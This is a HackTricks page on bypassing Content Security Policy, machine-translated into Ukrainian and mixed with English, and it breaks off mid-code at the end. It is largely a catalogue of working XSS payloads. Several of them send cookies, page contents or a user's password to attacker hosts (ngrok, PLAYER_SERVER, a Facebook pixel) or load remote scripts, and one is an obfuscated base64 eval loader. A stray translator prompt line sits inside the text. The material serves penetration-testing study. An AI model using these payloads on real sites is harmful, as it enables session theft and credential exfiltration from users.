Content Security Policy (CSP) Bypass

Reading time: 31 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке CSP

Content Security Policy (CSP) вважається технологією браузера, яка насамперед спрямована на захист від атак, таких як cross-site scripting (XSS). Вона працює шляхом визначення й деталізації шляхів і джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження й виконання ресурсів із того ж домену (self), включно з inline-ресурсами та виконанням коду-рядка через функції на кшталт eval, setTimeout або setInterval.

Впровадження CSP здійснюється через заголовки відповіді або шляхом додавання meta-елементів у HTML-сторінку. Відповідно до цієї політики браузери активно застосовують ці вимоги й одразу блокують будь-які виявлені порушення.

  • Реалізується через заголовок відповіді:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Реалізовано через meta-тег:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Заголовки

CSP можна застосовувати або моніторити за допомогою цих заголовків:

  • Content-Security-Policy: Застосовує CSP; браузер блокує будь-які порушення.
  • Content-Security-Policy-Report-Only: Використовується для моніторингу; повідомляє про порушення, не блокуючи їх. Ідеально підходить для тестування в передпродакшн середовищах.

Визначення ресурсів

CSP обмежує джерела (origins) для завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання inline JavaScript та використання eval(). Приклад політики:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Директиви

  • script-src: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що запускаються обробниками подій або XSLT стилями.
  • default-src: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні специфічні директиви для fetch.
  • child-src: Визначає дозволені джерела для веб-воркерів і вбудованого вмісту фреймів.
  • connect-src: Обмежує URL, які можна завантажувати через інтерфейси на кшталт fetch, WebSocket, XMLHttpRequest.
  • frame-src: Обмежує URL для фреймів.
  • frame-ancestors: Визначає, які джерела можуть вбудовувати поточну сторінку; застосовується до елементів таких як <frame>, <iframe>, <object>, <embed>, and <applet>.
  • img-src: Визначає дозволені джерела для зображень.
  • font-src: Вказує допустимі джерела для шрифтів, завантажуваних через @font-face.
  • manifest-src: Визначає дозволені джерела файлів manifest додатка.
  • media-src: Визначає дозволені джерела для завантаження медіа-об'єктів.
  • object-src: Визначає дозволені джерела для елементів <object>, <embed>, and <applet>.
  • base-uri: Вказує дозволені URL для завантаження через елемент <base>.
  • form-action: Перелічує допустимі кінцеві точки для відправлення форм.
  • plugin-types: Обмежує mime-типи, які сторінка може викликати.
  • upgrade-insecure-requests: Інструктує браузери переписувати HTTP URL у HTTPS.
  • sandbox: Застосовує обмеження, подібні до атрибута sandbox елемента <iframe>.
  • report-to: Вказує групу, куди буде відправлено звіт у разі порушення політики.
  • worker-src: Визначає допустимі джерела для скриптів Worker, SharedWorker або ServiceWorker.
  • prefetch-src: Визначає допустимі джерела для ресурсів, які будуть отримані або попередньо завантажені.
  • navigate-to: Обмежує URL, до яких документ може переходити будь-яким способом (a, form, window.location, window.open, тощо).

Джерела

  • *: Дозволяє всі URL, окрім тих, що мають схеми data:, blob:, filesystem:.
  • 'self': Дозволяє завантаження з того самого домену.
  • 'data': Дозволяє завантаження ресурсів через data-схему (наприклад, зображення у Base64).
  • 'none': Блокує завантаження з будь-якого джерела.
  • 'unsafe-eval': Дозволяє використання eval() та подібних методів; не рекомендовано з міркувань безпеки.
  • 'unsafe-hashes': Дозволяє використання певних вбудованих обробників подій.
  • 'unsafe-inline': Дозволяє використання вбудованих ресурсів, таких як inline <script> або <style>; не рекомендовано з міркувань безпеки.
  • 'nonce': Білий список для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
  • Якщо у вас обмежене виконання JS, можливо отримати використаний nonce на сторінці за допомогою doc.defaultView.top.document.querySelector("[nonce]") і потім повторно використати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажувати нові джерела, тому це не потрібно), наприклад:
Завантажити скрипт, повторно використовуючи nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Додає скрипти з конкретним sha256-хешем до дозволених джерел.
  • 'strict-dynamic': Дозволяє завантаження скриптів з будь-якого джерела, якщо вони були додані до дозволених за допомогою nonce або hash.
  • 'host': Вказує конкретний хост, наприклад example.com.
  • https:: Обмежує URL-адреси лише тими, що використовують HTTPS.
  • blob:: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених через JavaScript).
  • filesystem:: Дозволяє завантаження ресурсів з файлової системи.
  • 'report-sample': Включає зразок коду, що порушує політику, у звіт про порушення (корисно для налагодження).
  • 'strict-origin': Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні origin можуть завантажувати ресурси з безпечних origin).
  • 'strict-origin-when-cross-origin': Надсилає повні URL при запитах до того ж origin, але надсилає лише origin при крос-оріджин запитах.
  • 'unsafe-allow-redirects': Дозволяє завантаження ресурсів, які негайно переадресовують на інший ресурс. Не рекомендовано, оскільки послаблює безпеку.

Небезпечні правила CSP

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Робочий payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Це не працює, для отримання додаткової інформації check this.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Робочий payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Якщо ви якимось чином зможете зробити так, щоб allowed JS code created a new script tag у DOM з вашим JS code, оскільки allowed script його створює, то new script tag will be allowed to be executed.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Робочий payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Відсутність object-src і default-src

[!CAUTION] > Схоже, це більше не працює

yaml
Content-Security-Policy: script-src 'self' ;

Робочі payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Завантаження файлу + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Якщо ви можете завантажити JS-файл, ви можете обійти цей CSP:

Робочий payload:

html
"/>'><script src="/uploads/picture.png.js"></script>

However, it's highly probable that the server is перевіряє завантажений файл and will only allow you to завантажувати певні типи файлів.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

Third Party Endpoints + ('unsafe-eval')

warning

Для деяких з наведених payload unsafe-eval навіть не потрібен.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Завантажте вразливу версію angular і виконайте довільний JS:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

tip

The post shows that you could завантажити всі бібліотеки з cdn.cloudflare.com (or any other allowed JS libraries repo), виконати всі додані функції з кожної бібліотеки, та перевірити які функції з яких бібліотек повертають об'єкт window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS із імені класу:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Зловживання google recaptcha JS code

Згідно з this CTF writeup ви можете зловживати https://www.google.com/recaptcha/ всередині CSP, щоб виконати довільний JS code, обійшовши CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Більше payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Зловживання www.google.com для open redirect

Наступний URL перенаправляє на example.com (з here):

https://www.google.com/amp/s/example.com/

Зловживання *.google.com/script.google.com

Можна зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це зроблено в цьому звіті.

Сторонні кінцеві точки + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Сценарії на кшталт цього, коли script-src встановлено в self і певний домен додано до білого списку, можна обійти за допомогою JSONP. JSONP endpoints дозволяють insecure callback methods, які дозволяють attacker виконати XSS, working payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee містить готові до використання JSONP endpoints для обходу CSP різних вебсайтів.

Та сама вразливість виникає, якщо trusted endpoint містить Open Redirect, оскільки якщо початковий endpoint довірений, то і redirects вважаються довіреними.

Зловживання третіх сторін

Як описано в following post, існує багато доменів третіх сторін, які можуть бути дозволені десь у CSP і які можна зловживати для exfiltrate data або виконання JavaScript-коду. Деякі з цих третіх сторін:

СервісДозволений доменМожливості
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Якщо ви знайдете будь-який із дозволених доменів у CSP вашої цілі, є велика ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі і або exfiltrate data на цей сервіс, або виконати код.

Наприклад, якщо ви знайдете наступний CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

або

Content-Security-Policy​: connect-src www.facebook.com;​

Ви повинні мати змогу exfiltrate дані, так само як це завжди робилося за допомогою Google Analytics/Google Tag Manager. У цьому випадку виконуйте загальні кроки:

  1. Створіть Facebook Developer account тут.
  2. Створіть новий додаток "Facebook Login" і виберіть "Website".
  3. Перейдіть до "Settings -> Basic" і отримайте ваш "App ID"
  4. На цільовому сайті, з якого ви хочете exfiltrate data, ви можете exfiltrate data, безпосередньо використовуючи Facebook SDK gadget "fbq" через "customEvent" та data payload.
  5. Перейдіть до вашого App "Event Manager" і виберіть створений додаток (зверніть увагу, що event manager можна знайти за URL, подібним до цього: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Виберіть вкладку "Test Events", щоб побачити події, які надсилає "your" web site.

Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати Facebook tracking pixel, вказати app-id облікового запису Facebook Developer атакуючого і викликати custom event таким чином:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їхнього зловживання. Зверніться до раніше blog post для додаткових пояснень щодо інших зловживань третіх сторін.

Обхід через RPO (Relative Path Overwrite)

На додаток до вищевказаного перенаправлення для обходу обмежень шляху, існує інша техніка, звана Relative Path Overwrite (RPO), яку можна використовувати на деяких серверах.

Наприклад, якщо CSP дозволяє шлях https://example.com/scripts/react/, його можна обійти так:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Браузер в кінцевому підсумку завантажить https://example.com/scripts/angular/angular.js.

Це працює, тому що для браузера ви завантажуєте файл з іменем ..%2fangular%2fangular.js, розташований під https://example.com/scripts/react/, що відповідає CSP.

В результаті, вони його декодують, фактично запитуючи https://example.com/scripts/react/../angular/angular.js, що еквівалентно https://example.com/scripts/angular/angular.js.

Шляхові правила можуть бути обійдені, експлуатуючи цю невідповідність у інтерпретації URL між браузером і сервером.

Рішення — не трактувати %2f як / на стороні сервера, забезпечивши узгоджену інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.

Онлайн приклад: https://jsbin.com/werevijewa/edit?html,output

Iframes JS execution

Iframes in XSS, CSP and SOP

Відсутній base-uri

Якщо директива base-uri відсутня, ви можете зловживати цим, щоб виконати dangling markup injection.

Більше того, якщо сторінка завантажує скрипт з відносного шляху (наприклад <script src="/js/app.js">) з використанням Nonce, ви можете зловживати base tag щоб змусити його завантажити скрипт з вашого сервера, досягаючи XSS.
Якщо вразлива сторінка завантажується через httpS, використовуйте httpS url у base.

html
<base href="https://www.attacker.com/" />

Події AngularJS

Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript-події. Проте AngularJS вводить кастомні події як альтернативу. Всередині події AngularJS надає унікальний об'єкт $event, який посилається на нативний об'єкт події браузера. Цей $event об'єкт може бути використаний для обходу CSP. Зауважте, що в Chrome об'єкт $event/event має атрибут path, який містить масив об'єктів, задіяний у ланцюжку виконання події, причому об'єкт window завжди розташований в кінці. Ця структура є вирішальною для тактик sandbox escape.

Направивши цей масив до фільтра orderBy, можна ітерувати по ньому, використовуючи кінцевий елемент (об'єкт window) для виклику глобальної функції, наприклад alert(). Показаний нижче фрагмент коду ілюструє цей процес:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Цей фрагмент демонструє використання директиви ng-focus для виклику події, застосування $event.path|orderBy для маніпуляції масивом path і використання об'єкта window для виконання функції alert(), що дозволяє отримати document.cookie.

Знайдіть інші Angular bypasses на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS і домен у білому списку

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Політику CSP, яка включає домени в білому списку для завантаження скриптів у додатку Angular JS, можна обійти шляхом виклику callback functions та певних vulnerable classes. Більш детальна інформація про цю техніку доступна в докладному посібнику на цьому git repository.

Working payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Інші JSONP кінцеві точки для довільного виконання можна знайти в here (деякі з них були видалені або виправлені)

Обхід через перенаправлення

Що відбувається, коли CSP зустрічає серверне перенаправлення? Якщо перенаправлення веде до іншого origin, який не дозволено, воно все одно не пройде.

Однак, згідно з описом у CSP spec 4.2.2.3. Paths and Redirects, якщо перенаправлення веде до іншого шляху, воно може обійти початкові обмеження.

Ось приклад:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Якщо CSP встановлено на https://www.google.com/a/b/c/d, оскільки враховується шлях, скрипти /test та /a/test будуть заблоковані CSP.

Однак кінцевий http://localhost:5555/301 буде перенаправлений на сервері на https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Оскільки це перенаправлення, шлях не враховується, і скрипт може бути завантажений, що дозволяє обійти обмеження шляху.

З таким перенаправленням, навіть якщо шлях вказано повністю, його все одно можна обійти.

Тому найкраще рішення — переконатися, що на сайті немає вразливостей open redirect і що в правилах CSP немає доменів, які можна використати.

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' означає, що ви можете виконувати будь-який скрипт всередині коду (XSS може виконувати код), а img-src * означає, що ви можете використовувати на сторінці будь-яке зображення з будь-якого джерела.

Ви можете обійти цей CSP шляхом ексфільтрації даних через зображення (у цьому випадку XSS зловживає CSRF, де сторінка, доступна боту, містить SQLi, і flag витягується через зображення):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

Джерело: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Ви також можете зловживати цією конфігурацією, щоб завантажити javascript code, вставлений у зображення. Наприклад, якщо сторінка дозволяє завантажувати зображення з Twitter. Ви можете створити спеціальне зображення, завантажити його в Twitter та зловживати значенням "unsafe-inline", щоб виконати JS-код (як звичайний XSS), який завантажить зображення, витягне з нього JS і виконає його: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

З Service Workers

Функція Service workers importScripts не обмежена CSP:

Abusing Service Workers

Policy Injection

Дослідження: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Якщо параметр, надісланий вами, вставляється всередину оголошення політики, то ви можете змінити політику так, щоб вона стала марною. Ви можете дозволити script 'unsafe-inline' за допомогою будь-якого з цих обхідних шляхів:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Оскільки ця директива буде overwrite existing script-src directives.
You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

У Edge це значно простіше. Якщо ви зможете додати в CSP лише це: ;_Edge скине всю політику.
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

Зверніть увагу на відсутність директиви 'unsafe-inline'
Цього разу ви можете змусити жертву load сторінку під your control через XSS за допомогою <iframe. Ви змусите жертву звернутися до сторінки, звідки ви хочете витягти інформацію (CSRF). Ви не зможете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете control the time the page needs to load, то зможете витягти потрібну інформацію.

Цього разу буде витягнуто flag — коли char is correctly guessed через SQLi, response займатиме more time через функцію sleep. Тоді ви зможете витягти flag:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

За допомогою Bookmarklets

Ця атака передбачає певну соціальну інженерію, де атакуючий переконує користувача перетягнути посилання на bookmarklet браузера. Це bookmarklet міститиме шкідливий javascript код, який при drag&dropped або натисканні виконуватиметься в контексті поточного веб-вікна, обминаючи CSP і дозволяючи викрадати конфіденційну інформацію таку як cookies або tokens.

Для додаткової інформації перегляньте оригінальний звіт тут.

Обхід CSP шляхом обмеження CSP

У this CTF writeup, CSP було обійдено шляхом ін’єкції всередину дозволеного iframe більш обмежувальної CSP, яка забороняла завантаження конкретного JS файлу, що потім через prototype pollution або dom clobbering дозволило зловживати іншим скриптом для завантаження довільного скрипту.

Ви можете обмежити CSP iframe за допомогою атрибуту csp:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

У this CTF writeup, було можливо через HTML injection більш restrict CSP, внаслідок чого скрипт, що запобігає CSTI, був відключений і тому vulnerability became exploitable.
CSP можна зробити більш суворим за допомогою HTML meta tags, а inline scripts можна вимкнути, removing the entry що дозволяє їх nonce, і enable specific inline script via sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

Якщо вам вдасться змусити сервер відповісти заголовком Content-Security-Policy-Report-Only зі значенням, контрольованим вами (наприклад через CRLF), ви можете вказати в ньому ваш сервер, і якщо ви обгорнете JS content, який хочете exfiltrate, у <script>, і оскільки дуже ймовірно, що unsafe-inline не дозволено CSP, це спровокує помилку CSP і частина скрипта (яка містить чутливу інформацію) буде відправлена на сервер через Content-Security-Policy-Report-Only.

For an example check this CTF writeup.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking інформацію з CSP і Iframe

  • Створюється iframe, який вказує на URL (назвімо його https://example.redirect.com), що дозволений CSP.
  • Цей URL потім перенаправляє на секретний URL (наприклад, https://usersecret.example2.com), який не дозволений CSP.
  • Прослуховуючи подію securitypolicyviolation, можна захопити властивість blockedURI. Ця властивість розкриває домен заблокованого URI, leaking секретний домен, на який було перенаправлено початковий URL.

Цікаво зазначити, що браузери, такі як Chrome та Firefox, мають різну поведінку при обробці iframe щодо CSP, що може призвести до розкриття чутливої інформації через невизначену поведінку.

Інший метод полягає у використанні самої CSP для встановлення секретного піддомену. Цей підхід базується на бінарному пошуку і зміні CSP для включення конкретних доменів, які навмисно блокуються. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, модифікуючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, який показує, як CSP може бути налаштований для полегшення цього методу:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Моніторячи, які запити блокуються або дозволяються CSP, можна звузити набір можливих символів у секретному піддомені і в кінцевому підсумку відкрити повний URL.

Обидва методи використовують нюанси реалізації CSP та поведінки браузерів, демонструючи, як на перший погляд безпечні політики можуть ненавмисно leak конфіденційну інформацію.

Trick from here.

Unsafe Technologies to Bypass CSP

PHP — помилки при занадто великій кількості params

Згідно з last technique commented in this video, відправка занадто великої кількості параметрів (1001 GET parameters хоча це можна також зробити з POST params і більше ніж 20 файлів). Будь-який визначений header() у PHP web code не буде відправлено через помилку, яку це спричинить.

PHP — перевантаження буфера відповіді

PHP відомий тим, що за замовчуванням буферизує response до 4096 байтів. Тому, якщо PHP показує warning, надаючи достатньо даних всередині warning, response буде відправлено перед CSP header, через що заголовок буде ігноровано.\
Техніка, фактично, полягає в заповненні буфера відповіді warning-ами, щоб CSP header не був відправлений.

Idea from this writeup.

Припинення дії CSP через max_input_vars (headers already sent)

Оскільки headers має бути відправлено до будь-якого виводу, warnings, які генерує PHP, можуть зробити недійсними пізніші виклики header(). Якщо користувацький ввід перевищує max_input_vars, PHP спочатку викидає startup warning; будь-який наступний header('Content-Security-Policy: ...') завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS.

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

Будь ласка, надайте вміст файлу src/pentesting-web/content-security-policy-csp-bypass/README.md, який потрібно перекласти.

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

Перезапис сторінки помилки

З this writeup виглядає, що можна було bypass захист CSP, завантаживши сторінку помилки (можливо без CSP) та перезаписавши її вміст.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
